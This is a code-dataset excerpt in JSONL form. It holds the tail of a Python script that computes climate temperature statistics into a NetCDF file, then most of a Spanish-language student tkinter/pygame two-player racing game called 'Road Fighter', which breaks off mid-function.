nco.createVariable('time', 'i4', ('time',), fill_value=False)   # Creating variable time with integger data type\nlato = nco.createVariable('lat', 'f4', ('lat',), fill_value=False)\nlono = nco.createVariable('lon', 'f4', ('lon',), fill_value=False)\nMAT_o= nco.createVariable('MAT', 'f4', ('time','lat', 'lon',))  # Creating a variable for Mean Annual Temperature\nTa_o = nco.createVariable('Ta', 'f4', ('time','lat', 'lon',))  # Creating a variable for Annual Temperature Variation\n\n# Attributes\ntimeo.units = 'year'\nlato.units = 'degrees north'\nlono.units = 'degrees east'\nMAT_o.units = 'Kelvin'\nTa_o.units = 'Kelvin'\n\n# Populate the variables with data\ntimeo[:] = arange(1003,1018)                                         # All the years\nlato[:] = nc1.variables['lat'][:]\nlono[:] = nc1.variables['lon'][:]\n\nT = [T1,T2,T3,T4,T5,T6,T7,T8,T9,T10,T11,T12,T13,T14,T15]\nTa = zeros((15,lat, lon), dtype=float64)\nMAT = zeros((15,lat,lon), dtype=float64)\n\nfor i in range(15):\n\tMAT[i,:,:] = mean(T[i], axis=0)\n\tTa[i,:,:] = 0.5*(amax(T[i], axis=0)-amin(T[i], axis=0))\n\n\tMAT_o[i,:,:] = MAT[i,:,:]\n\tTa_o[i,:,:] = Ta[i,:,:]\n\t\t\n\t\t\t\t\t\t\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"toddehlers/Frost_cracking_GCM_calculation","sub_path":"scripts/Temperature/1003_1017_Plio.py","file_name":"1003_1017_Plio.py","file_ext":"py","file_size_in_byte":4505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21245612120","text":"#----------------------------------------------------ROAD FIGHTER-----------------------------------------------------------#\n#----------------------------------ELABORADO POR JUA JOSÉ HOYOS URCUE---------------------------------#\n#----------------------------------PONTIFICIA UNIVERSIDAD JAVERIANA CALI---------------------------------#\n#----------------------------------INGENIERÍA DE SISTEMAS Y COMPUTACIÓN---------------------------------#\n#---------------------------------------------------------2017-1---------------------------------------------------------------------#\n\n\n\nimport tkinter\nimport time\nimport random\nimport math\nimport pygame\nfrom pygame.locals import * #solo para la música\nimport webbrowser# para poder abrir el archivo pdf que contiene el manual de usuario\n\n\npygame.mixer.init()\n\n\nmusicaMenu = pygame.mixer.Sound(\"menu.wav\")\n\nsonidofail=pygame.mixer.Sound(\"loser.wav\")\ncrash=pygame.mixer.Sound(\"choque.wav\")\n\nrecarga=pygame.mixer.Sound(\"gasolina.wav\")\n\n\n\n\n\n\n\n\n\nmusicaMenu.play(20)\n\n# Crea la ventana que tendrá el menú asociado a la variable ventana\nventana = tkinter.Tk()\nventana.title(\"Road Fighter\")\nventana.geometry(\"1500x900\")\nv = tkinter.Toplevel()\nv.geometry(\"1500x900\")\nimagen1 = tkinter.PhotoImage(file=\"fondoprincipal.png\")\nfondomenu = tkinter.Label(ventana, image=imagen1).place(x=0 ,y=0)\n\n\n\n\n\n#Boton de instrucciones del juego\ndef instrucciones():\n    \"\"\"\n    Esta función permite abrir el documento pdf que contiene las instrucciones\n\n    \"\"\"\n\n    webbrowser.open_new(r'C:\\Users\\JuanJoséHoyosUrcu\\Documents\\GitHub\\xCarGameJuanx\\juegofirstry\\manual.pdf')\ninstructions=tkinter.Button(ventana,text=\"¿Cómo jugar?\", command= instrucciones).place(x=20, y= 500 )\n\n\n\n#x=tkinter.StringVar()\nfondojuego =tkinter.Canvas(v,height=600,width=900,bg=\"black\")\n\nho= []\n\nvar=tkinter.StringVar()#charge textvariable\n#fondotextos= tkinter.Label(ventana,textvariable =var,bg=\"black\",fg=\"white\")\n#cargo las imágenes a usar\n\n\n#fondos primer nivel\nfondomarder=tkinter.PhotoImage(file=\"marderecha.png\")\nfondomarizq=tkinter.PhotoImage(file=\"marizq.png\")\ncentro1=tkinter.PhotoImage(file=\"centermar.png\")\n\n\n#fondos segundo nivel\nfondotierraizq=tkinter.PhotoImage(file=\"tierraizq.png\")\nfondotierrader=tkinter.PhotoImage(file=\"tierrader.png\")\ncentro2=tkinter.PhotoImage(file=\"centertierra.png\")\n\n#fondos tercer nivel\n\nmoradoizq=tkinter.PhotoImage(file=\"fondo3izq.png\")\nmoradoder=tkinter.PhotoImage(file=\"fondo3der.png\")\ncentro3=tkinter.PhotoImage(file=\"centermora.png\")\n\n#fondos cuarto nivel\n\nrojoizq=tkinter.PhotoImage(file=\"rojoizq.png\")\nrojoder=tkinter.PhotoImage(file=\"rojoder.png\")\ncentro4=tkinter.PhotoImage(file=\"centerrojo.png\")\n\n#fondos quinto nivel\n\nspaceizq=tkinter.PhotoImage(file=\"spaceizq.png\")\nspaceder=tkinter.PhotoImage(file=\"spaceder.png\")\ncentro5=tkinter.PhotoImage(file=\"spacecenter.png\")\n\n\n\n#Entradas para ingresar y mostrar los nombres de los jugadores\n#1\nnombre=tkinter.StringVar ()\nnombre.set(\"\")\ninstruccion_nombre1= tkinter.Label(ventana,text=\"Nombre del jugador 1\", font=(\"Tempus Sans ITC\",12),fg=\"black\").place(x=20, y=395)\nnombrecaja = tkinter.Entry(ventana,font=(\"Tempus Sans ITC\",12), textvariable=nombre).place(x=180, y = 395)\nmuestraplayer1= tkinter.Label(v,textvariable=nombre, font=(\"Tempus Sans ITC\",12),fg=\"black\")\n\n#2\nnombre2=tkinter.StringVar()\nnombre2.set(\"\")\ninstruccion_nombre2= tkinter.Label(ventana,text=\"Nombre del jugador 2\", font=(\"Tempus Sans ITC\",12)).place(x=20, y=445)\nnombrecaja2 = tkinter.Entry(ventana,font=(\"Tempus Sans ITC\",12) ,textvariable=nombre2).place(x=180, y = 445)\nmuestraplayer2= tkinter.Label(v,textvariable=nombre2, font=(\"Tempus Sans ITC\",12),fg=\"black\")\n\n\n\n\n\n\n#photopo=tkinter.PhotoImage(file=\"Tryfont3m.png\")\ncarrov1 = tkinter.PhotoImage(file=\"UserCare.png\")#carro verde\ncarrov2 = tkinter. PhotoImage(file=\"UserCare.png\")#carro verde\nexplosion = tkinter. PhotoImage(file=\"explosion1.png\")#explosion de choque\nphoto=tkinter.PhotoImage(file=\"BlueCare.png\")#CarroRunnerAzul\nvancar=tkinter.PhotoImage(file=\"RedCare.png\")#Carro Minivan rojo\nfighter=tkinter.PhotoImage(file=\"YellowCare.png\")\n\n\nuser2=tkinter.PhotoImage(file=\"usercar2e.png\")\n\n\n\nminivan2=tkinter.PhotoImage(file=\"RedCare.png\")\n\nrun2=tkinter.PhotoImage(file=\"BlueCare.png\")\n\n\nfi2=tkinter.PhotoImage(file=\"YellowCare.png\")\n\nchargegas=tkinter.PhotoImage(file=\"Recarga.png\")\nchargegas2=tkinter.PhotoImage(file=\"Recarga.png\")\n\nmancha1=tkinter.PhotoImage(file=\"aceite.png\")\nmancha2=tkinter.PhotoImage(file=\"aceite.png\")\n\n#cargo las imagenes de los botones\nimagen_2boton=tkinter.PhotoImage(file=\"Level1.png\")\nimagen_3boton=tkinter.PhotoImage(file=\"Level2.png\")\nimagen_4boton=tkinter.PhotoImage(file=\"Level3.png\")\nimagen_5boton=tkinter.PhotoImage(file=\"Level4.png\")\nimagen_6boton=tkinter.PhotoImage(file=\"Level5.png\")\nimagen_1boton = tkinter.PhotoImage(file=\"BotonSalir.png\")\n\n#movimientofondo\n#photopo=tkinter.PhotoImage(file=\"Tryfont3m.png\")\n\n#Doy título a mi Juego\n\nImagen = tkinter.Label(ventana,text=\"Road Fighter\", font=(\"Tempus Sans ITC\",72)).place(x=450, y=20)\n\n#defino las variables abiertas (no definidas dentro de las funciones)que voy a usar dentro de mis funciones\npresiono = False\nx = None\ni = 0\nj = 0\nm= 0\ni=0\nz=0\nq=0\ng = 0       \nc = 0\nd = 5\n\n\n\n\n\n\n\n        \n\n\n\n\n\n#defino canvas principal\nfondojuego=tkinter.Canvas(v, width=1350, height=700,bd=0,highlightthickness=0)\n\n\n\n\n\n#widgest que se crearán a partit de las imágenes con canvas\n#mapajuego= fondojuego.create_image(680,200, image=u)#carga\n\n\n\n\n\n#widgest del fondo nivel1\nmard=fondojuego.create_image(1145,55, image=fondomarder)\nmari=fondojuego.create_image(230,55, image=fondomarizq)\nc1=fondojuego.create_image(695,380, image=centro1)#centro estático\n\n\n# widgest del fondo nivel 2\ntierrizq=fondojuego.create_image(230,55, image=fondotierraizq)\ntierrder=fondojuego.create_image(1145,55,image=fondotierrader)\nc2=fondojuego.create_image(690,380, image=centro2)#centro estático\n\n#widgest del fondo nivel 3\n\nmoraizq=fondojuego.create_image(230,55, image=moradoizq)\nmorader=fondojuego.create_image(1145,55, image=moradoder)\nc3=fondojuego.create_image(690,380,image=centro3)\n\n#widgest del fondo nivel 4\n\nroizq=fondojuego.create_image(230,55, image=rojoizq)\nroder=fondojuego.create_image(1140,55, image=rojoder)\nc4=fondojuego.create_image(690, 380, image= centro4)\n\n#widgest del fondo nivel 5\n\nsizq=fondojuego.create_image(230,55, image= spaceizq)\nsder=fondojuego.create_image(1145,55, image=spaceizq)\nc5=fondojuego.create_image(690,380,image=centro5)\n\n\n\n\n\n\n#widgest de carros, obastáculos y enemigos jugador 1\nx = fondojuego.create_image(100,600,image=carrov1)\nk = fondojuego.create_image(97,50,image=vancar)\nh=fondojuego.create_image(150,55, image=photo)\nf=fondojuego.create_image(250, 55, image=fighter)\n#widgest de carros, obastáculos y enemigos jugador 2\nvan2=fondojuego.create_image(1220,50,image=minivan2)\nu2=fondojuego.create_image(1250,600, image= user2)\nf2=fondojuego.create_image(1250, 55, image=fi2)\nr2=fondojuego.create_image(1100,55, image=run2)\nga=fondojuego.create_image(200,55, image=chargegas)\nga2=fondojuego.create_image(1300,55, image=chargegas2)\nma1=fondojuego.create_image(120,50,image=mancha1)\nma2=fondojuego.create_image(1220,50,image=mancha1)\n\n\n\n\n#movimientofondo\n#po=fondojuego.create_image(680,200, image=photopo)\n\n\n#defino las funciones que van a dinamizar mi juego\n\n\n\n\n\n\n\n\n\n\ndef MiniVan(s):\n    \"\"\"\n    Esta función mueve verticalmente la MiniVan, un carro de color rojo, cuyo objetivo es moverse verticalmente hacia abajo, siendo un   obstáculo\n    para el jugador, que por cierto es el menos peligroso, ya que no cambia de carril mientras se mueve, es decir, su movimiente es constante.\n    \n    \"\"\"\n    x=random.randint(0,50)\n    global fondojuego, m\n    \n    fondojuego.move(k, 0, s)\n        \n    if(fondojuego.coords(k)[1]>700):\n        fondojuego.move(k,x,-700)\n\n    if(fondojuego.coords(k)[0]>=310):\n        fondojuego.move(k,-203,0)\n\ndef MiniVan2(s):\n    \"\"\"\n    Esta función mueve verticalmenta la MiniVan, un carro de color rojo, cuyo objetivo es moverse verticalmente hacia abajo, siendo un   obstáculo\n    para el jugador, que por cierto es el menos peligroso, ya que no cambia de carril mientras se mueve, es decir, su movimiente es constante.\n    \n    \"\"\"\n    global fondojuego, m\n\n    x=random.randint(0,50)\n  \n    \n    fondojuego.move(van2, 0, s)\n        \n    if(fondojuego.coords(van2)[1]>700):\n        fondojuego.move(van2,x,-700)\n\n    if(fondojuego.coords(van2)[0]>=1220):\n        fondojuego.move(van2,-203,0)\n\n\ndef mancha(s):\n    \n    \"\"\"\n    Esta función mueve verticalmente la mancha de aceite, de color negro, cuyo objetivo es moverse verticalmente hacia abajo, siendo un   obstáculo\n    para el jugador, en el cual se puede resbalar, aunque el código que lo hace resbalar se encuentra en las colisiones\n    \n    \"\"\"\n    global fondojuego\n    x=random.randint(0,50)\n    mm=random.randint(-5000,-3000)\n    \n    fondojuego.move(ma1, 0, s)\n        \n    if(fondojuego.coords(ma1)[1]>700):\n        fondojuego.move(ma1,x,mm)\n\n    if(fondojuego.coords(ma1)[0]>=310):\n        fondojuego.move(ma1,-203,0)\n\ndef mancha2(s):\n    \"\"\"\n    Esta función mueve verticalmente la mancha de aceite, de color negro, cuyo objetivo es moverse verticalmente hacia abajo, siendo un   obstáculo\n    para el jugador, en el cual se puede resbalar, aunque el código que lo hace resbalar se encuentra en las colisiones\n    \n    \"\"\"\n    global fondojuego, m\n    mm=random.randint(-5000,-3000)\n    x=random.randint(0,100)\n  \n    \n    fondojuego.move(ma2, 0, s)\n        \n    if(fondojuego.coords(ma2)[1]>700):\n        fondojuego.move(ma2,x,mm)\n\n    if(fondojuego.coords(ma2)[0]>=1220):\n        fondojuego.move(ma2,-203,0)\n\n        \ndef Fighter2(X,Y):\n        \"\"\"\n        Esta función mueve al carro de color amarillo , cuyo objetivo es perseguir al carro del jugador para chocarlo, es el enemigo más peligroso de los tres,\n        ya que ataca directamente al carro del jugador.\n        \n        \"\"\"\n     \n        if(fondojuego.coords(u2)[0]<fondojuego.coords(f2)[0]):\n            fondojuego.move(f2,-X,Y)\n            \n        if(fondojuego.coords(u2)[0]>fondojuego.coords(f2)[0]):\n            fondojuego.move(f2,X,Y)\n            \n        if(fondojuego.coords(u2)[0]==fondojuego.coords(f2)[0]):\n            fondojuego.move(f2,0,Y)\n        if(fondojuego.coords(f2)[1]>700):\n            fondojuego.move(f2,0,-700)\n\n\ndef Fighter(X,Y):\n        \"\"\"\n        Esta función mueve al carro de color amarillo , cuyo objetivo es perseguir al carro del jugador para chocarlo, es el enemigo más peligroso de los tres,\n        ya que ataca directamente al carro del jugador.\n        \n        \"\"\"\n     \n        if(fondojuego.coords(x)[0]<fondojuego.coords(f)[0]):\n            fondojuego.move(f,-X,Y)\n            \n        if(fondojuego.coords(x)[0]>fondojuego.coords(f)[0]):\n            fondojuego.move(f,X,Y)\n            \n        if(fondojuego.coords(x)[0]==fondojuego.coords(f)[0]):\n            fondojuego.move(f,0,Y)\n        if(fondojuego.coords(f)[1]>700):\n            fondojuego.move(f,0,-700)\n\ndef charge(s):\n    \"\"\"\n    Esta función mueve verticalmenta la nave de recarga, la cuál permitirá que el usuario que pase por encima de ella recargue un poco su combustible\n    aunque el código que hace que se recargue la gasolina se encuentra en la función de las colisiones.\n    \n    \"\"\"\n    global fondojuego, m\n\n    x=random.randint(0,50)\n  \n    \n    fondojuego.move(ga, 0, s)\n        \n    if(fondojuego.coords(ga)[1]>700):\n        fondojuego.move(ga,x,-3000)\n\n    if(fondojuego.coords(ga)[0]>=300):\n        fondojuego.move(ga,-203,0)\n\ndef charge2(s):\n    \"\"\"\n    Esta función mueve verticalmenta la nave de recarga, la cuál permitirá que el usuario que pase por encima de ella recargue un poco su combustible\n    aunque el código que hace que se recargue la gasolina se encuentra en la función de las colisiones.\n    \n    \"\"\"\n    global fondojuego, m\n\n    x=random.randint(0,50)\n  \n    \n    fondojuego.move(ga2, 0, s)\n        \n    if(fondojuego.coords(ga2)[1]>700):\n        fondojuego.move(ga2,x,-700)\n\n    if(fondojuego.coords(ga2)[0]>=1220):\n        fondojuego.move(ga2,-203,0)\n\n\n#usercar\n\ndef keyup(e):\n  global x,ho\n\n  if(e.keycode in ho):\n    ho.pop(ho.index(e.keycode))\n   \n\ndef keydown(e):\n  global x,ho\n  if not e.keycode in ho:\n      \n    ho.append(e.keycode)\n  \n     \ndef key():\n  global ho\n  if(65 in ho):  #letra A en código ascii\n    fondojuego.move(x,-5,0)\n \n  if(68 in ho):\n    fondojuego.move(x,5,0) #letra D en código ascii\n  \ndef key2():\n    \n    if(37 in ho):\n        fondojuego.move(u2,-5,0) #flecha de dirección izquiera en código ascii\n    if(39 in ho):\n        fondojuego.move(u2,5,0) #flecha de dirección derecha en código ascii\n\n    \n\n\n\ndef Runner():\n    \"\"\"\n    Esta función se encarga de mover el carro azul, cuyo objetivo es tratar de chocar al carro del jugador,cambiando de carril constantemente\n    mientras se mueve verticalmente hacia abajo y horizontalmente de derecha a izquierda y visceversa.\n\n    \"\"\"\n    vv=3\n    z =fondojuego.coords(h)[0]\n    b= 7\n    \n    y= math.sin(2*fondojuego.coords(h)[1]*math.pi/(300))*b\n    if(fondojuego.coords(h)[1]>600):\n        fondojuego.move(h,100-z,-600)\n        q=0\n    fondojuego.move(h,y,vv)\n\n\ndef Runner2():\n    \"\"\"\n    Esta función se encarga de mover el carro azul, cuyo objetivo es tratar de chocar al carro del jugador,ncambiando de carril constantemente\n    mientras se mueve verticalmente hacia abajo y horizontalmente de derecha a izquierda y visceversa.\n\n    \"\"\"\n    vv=3\n    z =fondojuego.coords(r2)[0]\n    b= 7\n    \n    y= math.sin(2*fondojuego.coords(r2)[1]*math.pi/(300))*b\n    if(fondojuego.coords(r2)[1]>=600):\n        fondojuego.move(r2,1015-z,-600)\n        q=0\n    fondojuego.move(r2,y,vv)\ndef colisionesbor():\n    \"\"\"\n    Esta función se encarga de hacer el efecto de explosión cuando el carro del jugador uno toca alguno de los dos extremos de la carretera, implicando\n    que si esto sucede, el jugador habrá perdido la partida. \n    \n    \"\"\"\n    \n    x1=fondojuego.coords(x)[0]\n    y1=fondojuego.coords(x)[1]\n   \n\n    if(x1<=85):\n        coli=fondojuego.create_image(x1,y1,image=explosion)\n        return True\n    if(x1>=350):\n        coli=fondojuego.create_image(x1,y1,image=explosion)\n        return True\n\n\ndef colisionesbor2():\n    \"\"\"\n    Esta función se encarga de hacer el efecto de explosión cuando el carro del jugador dos  toca alguno de los dos extremos de la carretera, implicando\n    que si esto sucede, el jugador habrá perdido la partida.\n    \n    \"\"\"\n    \n  \n    x2= fondojuego.coords(u2)[0]\n    y2=fondojuego.coords(u2)[1]\n   \n\n   \n    if(x2<=1005):\n        coli=fondojuego.create_image(x2,y2,image=explosion)\n        return True\n    if(x2>=1275):\n        coli=fondojuego.create_image(x2,y2,image=explosion)\n        return True\n\ndef destruirall():\n\n    \"\"\"\n    Esta función permite destruir todo lo que actualmente se esté ejecutando en el juego,\n    ya que destruye sus dos ventanas\n    \"\"\"\n    v.destroy()\n    ventana.destroy()\n\n\n\n\n    \n\n        \n    \n  \n\nii=0\n\ndef colisionescarros():\n    \n    '''\n    Esta función se encarga de hacer el efecto de choque entre el carro del jugador uno y los enemigos, además permite recargar de gasolina con la\n    nave de recarga, y a su vez resbalar en la mancha de aceite.\n\n    '''\n    global x,contadorg1, contadorv1\n  \n\n\n\n    x1=fondojuego.coords(x)[0]\n    x2=fondojuego.coords(f)[0]\n    x3=fondojuego.coords(k)[0]\n    x4=fondojuego.coords(h)[0]\n    y1=fondojuego.coords(x)[1]\n    y2=fondojuego.coords(f)[1]\n    y3=fondojuego.coords(k)[1]\n    y4=fondojuego.coords(h)[1]\n    xr=fondojuego.coords(ga)[0]\n    yr=fondojuego.coords(ga)[1]\n    xm=fondojuego.coords(ma1)[0]\n    ym=fondojuego.coords(ma1)[1]\n    mm=random.randint(-7000,-5000)\n    \n\n    #con el fighter\n   \n    if(x1>=x2 and x1<=x2+26 and y1>=y2 and y1<=y2+53):\n           #nivel1sound.stop()\n           crash.play()\n           sonidofail.play()\n\n           coli=fondojuego.create_image(x1,y1,image=explosion)\n           boton1 = tkinter.Button(v, text=\"Salir: si aun tienes las hagllas para jugar, ábreme de nuevo\",command=destruirall).place(x=550, y=655)\n           contadorg1=0\n           contadorv1= contadorv1-5\n        \n           \n\n\n    elif(x1+26>=x2 and x1<=x2+26 and y1+26>=y2 and y1<=y2+53):\n              #nivel1sound.stop()\n              crash.play()\n              sonidofail.play()\n              coli=fondojuego.create_image(x1,y1,image=explosion)\n              boton1 = tkinter.Button(v, text=\"Salir: si aun tienes las hagllas para jugar, ábreme de nuevo\",command=destruirall).place(x=550, y=655)\n              contadorg1=0\n              contadorv1= contadorv1-5\n              \n\n    #con la van\n\n   \n    if(x1>=x3 and x1<=x3+26 and y1>=y3 and y1<=y3+53):\n        crash.play()\n        fondojuego.move(x,5,0)\n        contadorg1=contadorg1-250\n        contadorv1= contadorv1-5\n        if (fondojuego.move(x,5,0)):\n            fondojuego.move(x, 0,-5)\n\n\n    elif(x1+26>=x3 and x1<=x3+26 and y1+26>=y3 and y1<=y3+53):\n            crash.play()\n            if (fondojuego.move(x,-5,0)):\n                fondojuego.move(x, 0,-5)\n\n    # con el runner\n\n       \n    if(x1>=x4 and x1<=x4+26 and y1>=y4 and y1<=y4+52):\n        crash.play()\n        fondojuego.move(x,5,0)\n        contadorg1=contadorg1-250\n        contadorv1= contadorv1-5\n        if (fondojuego.move(x,5,0)):\n            fondojuego.move(x, 0,-5)\n\n\n    elif(x1+26>=x4 and x1<=x4+26 and y1+26>=y4 and y1<=y4+52):\n            crash.play()\n            if (fondojuego.move(x,-5,0)):\n                fondojuego.move(x, 0,-5)\n\n\n    #recargador de gasolina\n\n    \n\n    if(x1>=xr and x1<=xr+30 and y1>=yr and y1<=yr+35):\n         fondojuego.move(ga,0, mm)\n         recarga.play()\n         contadorg1=contadorg1+1000\n\n        \n\n    elif(x1+26>=xr and x1<=xr+30 and y1+26>=yr and y1<=yr+35):\n\n         fondojuego.move(ga,0, mm)\n         recarga.play()\n         contadorg1=contadorg1+1000\n\n    #mancha de aceite\n\n    if(x1>=xm and x1<=xm+40 and y1>=ym and y1<=ym+40):\n         fondojuego.move(x,7, 0)\n         contadorg1=contadorg1-200\n         contadorv1= contadorv1-5\n         \n\n    elif(x1+26>=xm and x1<=xm+40 and y1+26>=ym and y1<=ym+40):\n\n         fondojuego.move(x,7, 0)\n         contadorg1=contadorg1-200\n         contadorv1= contadorv1-5\n         \n\n\ndef colisionescarros2():\n    global x,contadorg2, contadorv2\n    '''\n    Esta función se encarga de hacer el efecto de choque entre el carro del jugador dos y los enemigos, además permite recargar de gasolina con la\n    nave de recarga, y a su vez resbalar en la mancha de aceite.\n\n    '''\n  \n  \n    \n\n    x1=fondojuego.coords(u2)[0]\n    x2=fondojuego.coords(f2)[0]\n    x3=fondojuego.coords(van2)[0]\n    x4=fondojuego.coords(r2)[0]\n    y1=fondojuego.coords(u2)[1]\n    y2=fondojuego.coords(f2)[1]\n    y3=fondojuego.coords(van2)[1]\n    y4=fondojuego.coords(r2)[1]\n    xr=fondojuego.coords(ga2)[0]\n    yr=fondojuego.coords(ga2)[1]\n    xm=fondojuego.coords(ma2)[0]\n    ym=fondojuego.coords(ma2)[1]\n    mm=random.randint(-7000,-5000)\n    \n\n    # con el fighter\n   \n    if(x1>=x2 and x1<=x2+26 and y1>=y2 and y1<=y2+52):\n\n           crash.play()\n           sonidofail.play()\n           coli=fondojuego.create_image(x1,y1,image=explosion)\n           boton1 = tkinter.Button(v, text=\"Salir: si aun tienes las hagllas para jugar, ábreme de nuevo\",command=destruirall).place(x=550, y=655)\n           contadorg2=0\n           contadorv2= contadorv2-5\n\n    elif(x1+26>=x2 and x1<=x2+26 and y1+26>=y2 and y1<=y2+52):\n\n           crash.play()\n           sonidofail.play()\n           coli=fondojuego.create_image(x1,y1,image=explosion)\n           boton1 = tkinter.Button(v, text=\"Salir: si aun tienes las hagllas para jugar, ábreme de nuevo\",command=destruirall).place(x=550, y=655)\n           contadorg2=0\n           contadorv2= contadorv2-5\n                \n    #con la van\n\n\n    if(x1>=x3 and x1<=x3+26 and y1>=y3 and y1<=y3+53):\n        crash.play()\n        fondojuego.move(u2,5,0)\n        contadorg2=contadorg2-250\n        contadorv2= contadorv2-5   \n        if (fondojuego.move(u2,5,0)):\n            fondojuego.move(u2, 0,-5)\n\n    elif(x1+26>=x3 and x1<=x3+26 and y1+26>=y3 and y1<=y3+53):\n            crash.play()\n            if (fondojuego.move(u2,-5,0)):\n                fondojuego.move(u2, 0,-5)\n\n    # con el runner\n\n    if(x1>=x4 and x1<=x4+26 and y1>=y4 and y1<=y4+53):\n        crash.play()\n        fondojuego.move(u2,5,0)\n        contadorg2=contadorg2-250\n        contadorv2= contadorv2-5\n        if (fondojuego.move(u2,5,0)):\n            fondojuego.move(u2, 0,-5)\n\n    elif(x1+26>=x4 and x1<=x4+26 and y1+26>=y4 and y1<=y4+53):\n            crash.play()\n            if (fondojuego.move(u2,-5,0)):\n                fondojuego.move(u2, 0,-5)\n\n\n    #recargador de gasolina\n\n\n    if(x1>=xr and x1<=xr+30 and y1>=yr and y1<=yr+35):\n         fondojuego.move(ga2,0, mm)\n         recarga.play()\n         contadorg2=contadorg2+1000\n\n    elif(x1+26>=xr and x1<=xr+30 and y1+26>=yr and y1<=yr+35):\n         fondojuego.move(ga2,0, mm)\n         recarga.play()\n         contadorg2=contadorg2+1000\n    #mancha de aceite\n\n    if(x1>=xm and x1<=xm+40 and y1>=ym and y1<=ym+40):\n         fondojuego.move(u2,7, 0)\n         contadorg2=contadorg2-200\n         contadorv2= contadorv2-5\n         \n\n    elif(x1+26>=xm and x1<=xm+40 and y1+26>=ym and y1<=ym+40):\n\n         fondojuego.move(u2,7, 0)\n         contadorg2=contadorg2-200\n         contadorv2= contadorv2-5\n\n\n\n\n    \n\n              \n\n          \n           \n\n\n    \n\nvelocidadfondo=15\ndef fondomoving(fondoizquierda,velocidad):\n\n    \"\"\"\n    Esta función se encarga de mover la parte izquierda de los fondos, con el fin de crear el efecto de aceleración\n\n    \"\"\"\n\n    global fondojuego, v, velocidadfondo\n    \n\n    fondojuego.move(fondoizquierda, 0, velocidadfondo)\n    if(fondojuego.coords(fondoizquierda)[1]>2500):\n            fondojuego.move(fondoizquierda,0,-fondojuego.coords(fondoizquierda)[1])\n\ndef fondomoving2(fondoderecha,velocidad):\n    \"\"\"\n    Esta función se encarga de mover la parte derecha de los fondos, con el fin de crear el efecto de aceleración\n\n    \"\"\"\n\n    global fondojuego, v, velocidadfondo\n    \n\n        \n    fondojuego.move(fondoderecha, 0, velocidadfondo)\n    if(fondojuego.coords(fondoderecha)[1]>2500):\n            fondojuego.move(fondoderecha,0,-fondojuego.coords(fondoderecha)[1])\n  \n#################\nv1=0                             #\nv2=0                               #\nv3=0                                  #\nF=0                                       #\n                                                # Parámetros de inicialización\n\nimagenizquierda=mari        # \nimagenderecha=mard      #\nvelocity=0                       #\n#################\n\n#tiempo en etiquetas del jugador 1\ncontador1=60\ntiempojugador1=tkinter.StringVar()\n\n#Gasolina en etiquetas del jugador 1\n\ncontadorg1=7000\ngasolinajugador1=tkinter.StringVar()\n\n#Velocidad en etiquetas del jugador 1\n\ncontadorv1=0\nvelocidadjugador1=tkinter.StringVar()\n\n#distancia para el juador 1\n\ncontadord1=0\ndistanciajugador1=tkinter.StringVar()\n\n\n\n\n#llamado de funciones\ndef principal():\n\n    \"\"\"\n    Esta función se encarga de llamar a todas las funciones antes creadas para que al momento de ser llamada empiecen todos los movimientos y se\n    pueda iniciar el juego en el respectivo nivel para el jugador 1\n    \n    \"\"\"\n    global  imagenizquierda,velocity,tiempo1,contador1,tiempojugador1,contadorg1,contadorv1,velocidadjugador1,contadorg2,contadord1,distanciajugador1, archivo\n\n\n    if colisionesbor()  :\n        crash.play()\n        sonidofail.play()\n        return 0\n\n    if contador1<=0:\n        pygame.mixer.music.load(\"win.wav\")\n        pygame.mixer.music.play(2)\n        \n        boton1 = tkinter.Button(v, text=\"Felicitaciones: vuelve a abrirme y tendrás acceso al siguiente nivel\",command=pasar).place(x=540, y=655)\n        return 0\n    elif (contadorg1<=0):\n        return 0\n    \n    \n\n    else:\n\n        Fighter(F,v2)#F es el movimiento en x, v2 el movimiento en y\n        MiniVan(v1)\n        \n        Runner()\n        fondomoving(imagenizquierda,velocity)\n        mancha(1)\n        charge(4)\n        colisionescarros()\n\n        partida=open(\"archivo.txt\",\"w\")\n       # lista=partida.readline()\n        #partida.close()\n        \n\n        if contador1>0:\n            \n            contador1=contador1-0.015\n            partida.write(str(round(contador1)))\n            partida.write(\"\\n\"+str(round(contadorg1)))\n            partida.write(\"\\n\"+str(round(contadorv1)))\n            partida.write(\"\\n\"+str(round(contadord1)))\n      \n            \n\n            tiempojugador1.set(round(contador1))\n\n        else:\n            partida.write(str(round(contador1)))\n            partida.write(\"\\n\"+str(round(contadorg1)))\n            partida.write(\"\\n\"+str(round(contadorv1)))\n            partida.write(\"\\n\"+str(round(contadord1)))\n\n            contador1=contador1-0.015\n  \n\n        if contadorg1>0:\n\n            contadorg1=contadorg1-1\n\n            gasolinajugador1.set(round(contadorg1))\n            \n\n\n\n        if contadorv1<200:\n\n            contadorv1=contadorv1+0.09\n      \n\n            velocidadjugador1.set(round(contadorv1))\n\n\n        contadord1=contadord1+0.09\n\n\n        distanciajugador1.set(round(contadord1))\n\n        \n\n    \n\n        key()\n\n        \n\n        v.after(15,principal)\n\n# tiempo de jugador 2\ncontador2=60\ntiempojugador2=tkinter.StringVar()\n\n\n#Gasolina del jugador 2\n\ncontadorg2=7000\ngasolinajugador2=tkinter.StringVar()\n\n#Velocidad en etiquetas del jugador 2\n\ncontadorv2=0\nvelocidadjugador2=tkinter.StringVar()\n\n#distancia para el juador 2\n\ncontadord2=0\ndistanciajugador2=tkinter.StringVar()\n\n\ndef principal2():\n\n    \"\"\"\n    Esta función se encarga de llamar a todas las funciones antes creadas para que al momento de ser llamada empiecen todos los movimientos y se\n    pueda iniciar el juego en el respectivo nivel para el jugador 2\n    \n    \"\"\"\n    global imagenderecha, velocity, contador2, tiempojugador2,contadorg2,contadorv2, contadord2\n\n    if  colisionesbor2() :\n        crash.play()\n        sonidofail.play()\n        return 0\n\n    elif   contadorg2<=0:\n        return 0\n\n    if contador2<=0:\n        boton1 = tkinter.Button(v, text=\"Felicitaciones: vuelve a abrirme y tendrás acceso al siguiente nivel\",command=pasar).place(x=540, y=655)\n        return 0\n        \n           \n\n    else:\n            MiniVan2(v1)\n            Fighter2(F,v2)#F es el movimiento en x, v2 el movimiento en y\n            Runner2()\n            fondomoving2(imagenderecha,velocity)\n            mancha2(1)\n            charge2(4)\n\n            colisionescarros2()\n            partida=open(\"archivo2.txt\",\"w\")\n            if contador2>0:\n\n                contador2=contador2-0.015\n                partida.write(str(round(contador2)))\n                partida.write(\"\\n\"+str(round(contadorg2)))\n                partida.write(\"\\n\"+str(round(contadorv2)))\n                partida.write(\"\\n\"+str(round(contadord2)))\n            else:\n                \n                